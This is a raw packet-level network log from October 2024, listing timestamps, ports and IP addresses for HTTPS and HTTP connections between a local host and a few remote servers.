Oct 7, 2024 03:23:26.327358961 CEST	61072	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:26.327399969 CEST	443	61072	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:26.397187948 CEST	443	61063	172.217.16.206	192.168.2.4
Oct 7, 2024 03:23:26.398190975 CEST	443	61063	172.217.16.206	192.168.2.4
Oct 7, 2024 03:23:26.398237944 CEST	61063	443	192.168.2.4	172.217.16.206
Oct 7, 2024 03:23:26.398837090 CEST	61063	443	192.168.2.4	172.217.16.206
Oct 7, 2024 03:23:26.398845911 CEST	443	61063	172.217.16.206	192.168.2.4
Oct 7, 2024 03:23:26.415421009 CEST	443	61071	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:26.415714979 CEST	443	61071	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:26.415749073 CEST	443	61071	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:26.415803909 CEST	61071	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:26.416773081 CEST	443	61067	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:26.416908979 CEST	443	61067	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:26.416965008 CEST	61067	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:26.417330980 CEST	61071	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:26.417330980 CEST	61071	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:26.417355061 CEST	443	61071	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:26.417376995 CEST	443	61071	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:26.418724060 CEST	61067	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:26.418732882 CEST	443	61067	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:26.418857098 CEST	61067	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:26.418860912 CEST	443	61067	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:26.420047045 CEST	443	61066	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:26.420182943 CEST	443	61066	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:26.420248032 CEST	61066	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:26.420569897 CEST	443	61068	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:26.420627117 CEST	443	61068	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:26.420845985 CEST	61068	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:26.421017885 CEST	61066	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:26.421042919 CEST	443	61066	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:26.421056986 CEST	61066	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:26.421063900 CEST	443	61066	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:26.422630072 CEST	61073	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:26.422653913 CEST	443	61073	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:26.422744989 CEST	61073	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:26.423121929 CEST	61068	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:26.423121929 CEST	61068	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:26.423135996 CEST	443	61068	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:26.423161030 CEST	443	61068	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:26.423312902 CEST	61073	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:26.423326015 CEST	443	61073	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:26.425299883 CEST	61074	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:26.425311089 CEST	443	61074	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:26.425482035 CEST	61074	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:26.426188946 CEST	61075	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:26.426280975 CEST	443	61075	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:26.426356077 CEST	61075	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:26.427228928 CEST	61075	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:26.427261114 CEST	443	61075	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:26.428563118 CEST	61076	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:26.428586960 CEST	443	61076	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:26.428639889 CEST	61076	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:26.428790092 CEST	61074	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:26.428802967 CEST	443	61074	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:26.429706097 CEST	61076	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:26.429723024 CEST	443	61076	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:26.447962046 CEST	443	61065	172.217.16.206	192.168.2.4
Oct 7, 2024 03:23:26.448796034 CEST	443	61065	172.217.16.206	192.168.2.4
Oct 7, 2024 03:23:26.448880911 CEST	61065	443	192.168.2.4	172.217.16.206
Oct 7, 2024 03:23:26.460582972 CEST	61065	443	192.168.2.4	172.217.16.206
Oct 7, 2024 03:23:26.460618973 CEST	443	61065	172.217.16.206	192.168.2.4
Oct 7, 2024 03:23:26.995767117 CEST	443	61072	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:27.030343056 CEST	61072	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:27.030355930 CEST	443	61072	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:27.030874968 CEST	61072	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:27.030879974 CEST	443	61072	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:27.050779104 CEST	61057	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:23:27.051014900 CEST	61077	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:23:27.055783033 CEST	80	61057	185.215.113.43	192.168.2.4
Oct 7, 2024 03:23:27.055798054 CEST	80	61077	185.215.113.43	192.168.2.4
Oct 7, 2024 03:23:27.055850983 CEST	61057	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:23:27.055887938 CEST	61077	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:23:27.056422949 CEST	61077	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:23:27.061184883 CEST	80	61077	185.215.113.43	192.168.2.4
Oct 7, 2024 03:23:27.066313028 CEST	443	61075	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:27.066751003 CEST	61075	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:27.066788912 CEST	443	61075	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:27.067136049 CEST	61075	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:27.067147970 CEST	443	61075	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:27.067796946 CEST	443	61076	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:27.068109035 CEST	61076	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:27.068133116 CEST	443	61076	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:27.068514109 CEST	61076	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:27.068521976 CEST	443	61076	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:27.079814911 CEST	443	61074	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:27.080218077 CEST	61074	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:27.080233097 CEST	443	61074	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:27.080791950 CEST	61074	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:27.080796003 CEST	443	61074	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:27.101982117 CEST	443	61073	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:27.102435112 CEST	61073	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:27.102446079 CEST	443	61073	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:27.102850914 CEST	61073	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:27.102857113 CEST	443	61073	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:27.134666920 CEST	443	61072	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:27.134768963 CEST	443	61072	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:27.134834051 CEST	61072	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:27.138176918 CEST	61072	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:27.138186932 CEST	443	61072	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:27.138200045 CEST	61072	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:27.138206005 CEST	443	61072	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:27.140894890 CEST	61078	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:27.140923977 CEST	443	61078	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:27.140989065 CEST	61078	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:27.141155005 CEST	61078	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:27.141165018 CEST	443	61078	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:27.164392948 CEST	443	61075	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:27.164520025 CEST	443	61075	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:27.164633036 CEST	443	61075	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:27.164676905 CEST	61075	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:27.164706945 CEST	61075	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:27.168713093 CEST	61075	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:27.168725967 CEST	443	61075	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:27.171895027 CEST	443	61076	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:27.172270060 CEST	443	61076	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:27.172316074 CEST	61076	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:27.173058987 CEST	61079	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:27.173074961 CEST	443	61079	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:27.173211098 CEST	61079	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:27.175775051 CEST	61076	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:27.175781965 CEST	443	61076	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:27.175807953 CEST	61076	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:27.175812960 CEST	443	61076	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:27.177613974 CEST	61079	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:27.177628040 CEST	443	61079	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:27.179227114 CEST	61080	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:27.179277897 CEST	443	61080	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:27.179352999 CEST	61080	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:27.179452896 CEST	443	61074	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:27.179582119 CEST	61080	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:27.179610968 CEST	443	61080	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:27.179761887 CEST	443	61074	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:27.179840088 CEST	61074	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:27.179867983 CEST	61074	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:27.179881096 CEST	443	61074	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:27.179908991 CEST	61074	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:27.179923058 CEST	443	61074	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:27.185796022 CEST	61081	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:27.185812950 CEST	443	61081	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:27.185894012 CEST	61081	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:27.186031103 CEST	61081	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:27.186043978 CEST	443	61081	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:27.205037117 CEST	443	61073	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:27.205127954 CEST	443	61073	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:27.205162048 CEST	61073	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:27.205178022 CEST	443	61073	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:27.205220938 CEST	443	61073	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:27.205302000 CEST	61073	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:27.205313921 CEST	443	61073	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:27.205348969 CEST	61073	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:27.205353022 CEST	443	61073	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:27.208420992 CEST	61082	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:27.208434105 CEST	443	61082	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:27.208544970 CEST	61082	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:27.208714008 CEST	61082	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:27.208724976 CEST	443	61082	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:27.772893906 CEST	80	61077	185.215.113.43	192.168.2.4
Oct 7, 2024 03:23:27.772960901 CEST	61077	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:23:27.787525892 CEST	443	61078	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:27.788125038 CEST	61078	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:27.788134098 CEST	443	61078	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:27.788572073 CEST	61078	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:27.788577080 CEST	443	61078	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:27.817284107 CEST	443	61079	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:27.820872068 CEST	61079	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:27.820892096 CEST	443	61079	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:27.821175098 CEST	443	61081	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:27.821295977 CEST	61079	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:27.821302891 CEST	443	61079	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:27.826009035 CEST	61081	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:27.826021910 CEST	443	61081	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:27.826443911 CEST	61081	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:27.826451063 CEST	443	61081	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:27.831928015 CEST	443	61080	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:27.832324028 CEST	61080	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:27.832364082 CEST	443	61080	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:27.832720041 CEST	61080	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:27.832731009 CEST	443	61080	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:27.878329039 CEST	443	61082	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:27.878869057 CEST	61082	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:27.878879070 CEST	443	61082	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:27.879339933 CEST	61082	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:27.879344940 CEST	443	61082	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:27.885747910 CEST	443	61078	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:27.885812998 CEST	443	61078	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:27.886349916 CEST	61078	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:27.886358976 CEST	443	61078	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:27.886400938 CEST	443	61078	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:27.886488914 CEST	61078	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:27.886518955 CEST	61078	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:27.886528015 CEST	443	61078	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:27.886535883 CEST	61078	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:27.886539936 CEST	443	61078	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:27.888807058 CEST	61084	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:27.888827085 CEST	443	61084	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:27.888894081 CEST	61084	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:27.889066935 CEST	61084	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:27.889080048 CEST	443	61084	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:27.916238070 CEST	443	61079	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:27.916511059 CEST	443	61079	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:27.916572094 CEST	61079	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:27.916946888 CEST	61079	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:27.916960955 CEST	443	61079	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:27.916973114 CEST	61079	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:27.916979074 CEST	443	61079	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:27.919394970 CEST	61085	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:27.919414043 CEST	443	61085	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:27.919481993 CEST	61085	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:27.919816017 CEST	61085	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:27.919826984 CEST	443	61085	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:27.921442986 CEST	443	61081	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:27.921498060 CEST	443	61081	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:27.921631098 CEST	443	61081	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:27.921688080 CEST	61081	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:27.921853065 CEST	61081	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:27.921853065 CEST	61081	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:27.921863079 CEST	443	61081	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:27.921873093 CEST	443	61081	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:27.924079895 CEST	61086	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:27.924088001 CEST	443	61086	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:27.924276114 CEST	61086	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:27.924702883 CEST	61086	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:27.924711943 CEST	443	61086	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:27.931605101 CEST	443	61080	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:27.931654930 CEST	443	61080	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:27.931798935 CEST	443	61080	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:27.931860924 CEST	61080	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:27.932001114 CEST	61080	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:27.932002068 CEST	61080	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:27.932023048 CEST	443	61080	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:27.932045937 CEST	443	61080	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:27.933646917 CEST	61087	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:27.933660030 CEST	443	61087	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:27.933849096 CEST	61087	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:27.934004068 CEST	61087	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:27.934016943 CEST	443	61087	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:27.980643988 CEST	443	61082	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:27.980705023 CEST	443	61082	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:27.980809927 CEST	443	61082	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:27.980859995 CEST	61082	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:27.992321014 CEST	61082	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:27.992326021 CEST	443	61082	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:27.992338896 CEST	61082	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:27.992345095 CEST	443	61082	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:27.997613907 CEST	61088	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:27.997639894 CEST	443	61088	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:27.997859955 CEST	61088	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:27.998050928 CEST	61088	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:27.998066902 CEST	443	61088	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:28.535442114 CEST	443	61084	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:28.535936117 CEST	61084	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:28.535955906 CEST	443	61084	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:28.536417007 CEST	61084	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:28.536422014 CEST	443	61084	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:28.565032959 CEST	443	61086	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:28.565509081 CEST	61086	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:28.565520048 CEST	443	61086	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:28.565824032 CEST	61086	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:28.565829039 CEST	443	61086	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:28.572069883 CEST	443	61085	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:28.572463989 CEST	61085	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:28.572469950 CEST	443	61085	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:28.572874069 CEST	61085	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:28.572877884 CEST	443	61085	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:28.574718952 CEST	443	61087	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:28.575021029 CEST	61087	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:28.575028896 CEST	443	61087	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:28.575349092 CEST	61087	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:28.575354099 CEST	443	61087	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:28.632217884 CEST	443	61084	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:28.632570982 CEST	443	61084	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:28.632639885 CEST	61084	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:28.632700920 CEST	61084	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:28.632700920 CEST	61084	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:28.632720947 CEST	443	61084	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:28.632740974 CEST	443	61084	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:28.635232925 CEST	61091	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:28.635255098 CEST	443	61091	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:28.635365009 CEST	61091	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:28.635504007 CEST	61091	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:28.635509014 CEST	443	61091	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:28.638035059 CEST	443	61088	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:28.638360977 CEST	61088	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:28.638370037 CEST	443	61088	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:28.638776064 CEST	61088	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:28.638781071 CEST	443	61088	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:28.665054083 CEST	443	61086	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:28.665220022 CEST	443	61086	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:28.665287018 CEST	61086	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:28.665333986 CEST	61086	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:28.665333986 CEST	61086	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:28.665344000 CEST	443	61086	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:28.665352106 CEST	443	61086	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:28.667443991 CEST	61092	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:28.667531013 CEST	443	61092	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:28.667593956 CEST	61092	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:28.667754889 CEST	61092	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:28.667793036 CEST	443	61092	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:28.673402071 CEST	443	61085	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:28.673472881 CEST	443	61085	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:28.673573017 CEST	443	61085	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:28.673724890 CEST	61085	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:28.674127102 CEST	443	61087	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:28.674216032 CEST	443	61087	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:28.674279928 CEST	61087	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:28.674288034 CEST	443	61087	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:28.674335957 CEST	61087	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:28.680010080 CEST	61085	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:28.680010080 CEST	61085	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:28.680016041 CEST	443	61085	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:28.680046082 CEST	443	61085	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:28.690210104 CEST	61087	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:28.690222979 CEST	443	61087	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:28.690233946 CEST	61087	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:28.690238953 CEST	443	61087	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:28.711849928 CEST	61093	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:28.711915970 CEST	443	61093	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:28.712023973 CEST	61093	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:28.712332964 CEST	61094	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:28.712352991 CEST	443	61094	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:28.712433100 CEST	61094	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:28.713987112 CEST	61093	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:28.714018106 CEST	443	61093	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:28.714216948 CEST	61094	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:28.714241028 CEST	443	61094	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:28.738111019 CEST	443	61088	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:28.738250017 CEST	443	61088	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:28.738337040 CEST	61088	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:28.745678902 CEST	61088	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:28.745706081 CEST	443	61088	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:28.749553919 CEST	61095	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:28.749619007 CEST	443	61095	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:28.749800920 CEST	61095	443	192.168.2.4	13.107.246.45
